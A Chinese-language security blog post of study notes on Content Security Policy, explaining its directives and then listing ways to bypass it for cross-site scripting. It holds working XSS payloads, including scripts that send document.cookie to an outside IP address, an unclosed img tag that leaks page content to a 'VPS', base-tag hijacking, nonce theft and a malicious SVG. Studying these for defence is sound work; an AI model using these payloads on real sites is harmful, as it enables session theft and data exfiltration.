江鸟's Blog

前端安全之CSP

字数统计: 2.7k阅读时长: 12 min
2021/02/25 Share

近期学习笔记

前端安全之CSP

何为csp

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。是防XSS等攻击的利器。

CSP使用

(1)在HTTP Header上使用(优先级更高)

1
2
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

(2)在HTML上使用

1
2
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

一个CSP头由多组CSP策略组成,中间由分号分隔,其中每一组策略包含一个策略指令和一个内容源列表。

1
Content-Security-Policy: script-src https://host1.com https://host2.com

简单介绍

CSP关键词

关键词 指令和关键词示例 关键词说明
* img-src * 允许任何内容。
‘none’ img-src ‘none’ 不允许任何内容。
‘self’ img-src ‘self’ 允许来自相同来源的内容(相同的协议、域名和端口)。
data: img-src data: 允许 data: 协议(如 base64 编码的图片)。
*.guangzhul.com img-src *.guangzhul.com 允许加载 guangzhul.com 任何子域的资源。
‘unsafe-inline’ script-src ‘unsafe-inline’ 允许加载 inline 资源(例如常见的 style 属性,onclick,inline js 和 inline css 等等)。允许执行页面内嵌的<script>标签和事件监听函数
‘unsafe-eval’ script-src ‘unsafe-eval’ 允许加载动态 js 代码,例如 eval()。

csp指令

指令 指令说明
default-src 默认加载策略
script-src 对 JavaScript 的加载策略。
style-src 对样式的加载策略。
img-src 对图片的加载策略。
connect-src 对 Ajax、WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。
font-src 针对 WebFont 的加载策略
object-src 针对 、 或 等标签引入的 flash 等插件的加载策略。
media-src 针对媒体引入的 HTML 多媒体的加载策略。
frame-src 针对 frame 的加载策略。

csp绕过

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!isset($_COOKIE['user'])) {
setcookie('user',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['jn'])) {
echo "Your GET content: ".@$_GET['jn'];
}
?>
<form>
<input type="text" name="jn" value=""/>
<input type="submit" value="Submit" />
</form>
</body>

首先正常xss

1
<script>alert(1)</script>

image-20210225170948883

开启csp后无法弹窗

1
header("Content-Security-Policy: default-src 'self';");

提示

1
Content Security Policy: 页面设置阻止读取位于 inline 的一项资源("default-src")。

这里是因为<script>标签被拦截

绕过姿势

简单验证csp的作用之后开始模拟获取cookie

Content-Security-Policy: default-src 'self';这种情况下能将cookie 传递出去吗?

iframe绕过

适用情况:a页面有防护,b页面没有防护

csp情况:a页面default-src 'self'; b页面无

思路:

在 b 页面新建 iframe 用 javascript 直接操作 a 页面的 dom

Payload:

1
2
3
4
5
6
<script>
var iframe = document.createElement('iframe');
iframe.src="./a.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://x.x.x.x:xxxx/cookie/'+escape(document.cookie),1000);
</script>

location绕过

csp情况:default-src 'self';script-src 'unsafe-inline' 'self';

思路:通过script-src开放的 ‘unsafe-inline’ 执行script标签

payload

1
2
3
4
<script>location.href='http://106.15.198.173:1234/cookie/'+escape(document.cookie);</script>
或者
window.location=
window.open(

CDN绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险、

根据现在找的例子,发现大多都已经失效,有兴趣的师傅可以另外再找

1
2
3
4
5
6
7
8
9
10
11
失效
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

失效
"><script src=https//ajax.googleapis.com/ajax/services/feed/find?v=1.0&callback=alert&context=1337></script>

站点可控静态资源绕过

www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

payload

1
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中
1
Content-Security-Policy: script-src  https://www.google-analytics.com;default-src 'unsafe-inline' 'unsafe-eval'

站点可控JSONP绕过

利用点:google站点存在了用户可控jsonp

1
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

这是一个项目 保存着可以利用的网址

1
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180

Base-uri绕过

利用点:

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

利用条件:

  1. script-src只使用nonce
  2. 没有额外设置base-uri
  3. 页面引用存在相对路径的<script>标签

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

1
2
3
4
5
6
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce=’xxxxx’会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

1
<h1 a="123" b="456" a="789" a="abc">123</h1>

img

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行

利用条件:

  1. 可控点在合法script标签上方,且其中没有其他标签
  2. XSS页面的CSP script-src只采用了nonce方式

object-src绕过(PDFXSS)

主要就是加载pdf中的xss,但是只能弹窗

SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

利用条件:

  1. 可以上传svg图片

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

1
2
3
4
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上

exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=

CSS选择器获取内容

就是css注入,个人认为和csp关系不大,而且条件苛刻

CRLF绕过

条件:可控点在CSP上方

当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP

CATALOG
  1. 1. 前端安全之CSP
  2. 2. 何为csp
  3. 3. CSP使用
    1. 3.1. 简单介绍
  4. 4. csp绕过
    1. 4.1. 绕过姿势
      1. 4.1.1. iframe绕过
      2. 4.1.2. location绕过
      3. 4.1.3. CDN绕过
      4. 4.1.4. 站点可控静态资源绕过
      5. 4.1.5. 站点可控JSONP绕过
      6. 4.1.6. Base-uri绕过
      7. 4.1.7. 不完整script标签绕过nonce
      8. 4.1.8. object-src绕过(PDFXSS)
      9. 4.1.9. SVG绕过
      10. 4.1.10. 不完整的资源标签获取资源
      11. 4.1.11. CSS选择器获取内容
      12. 4.1.12. CRLF绕过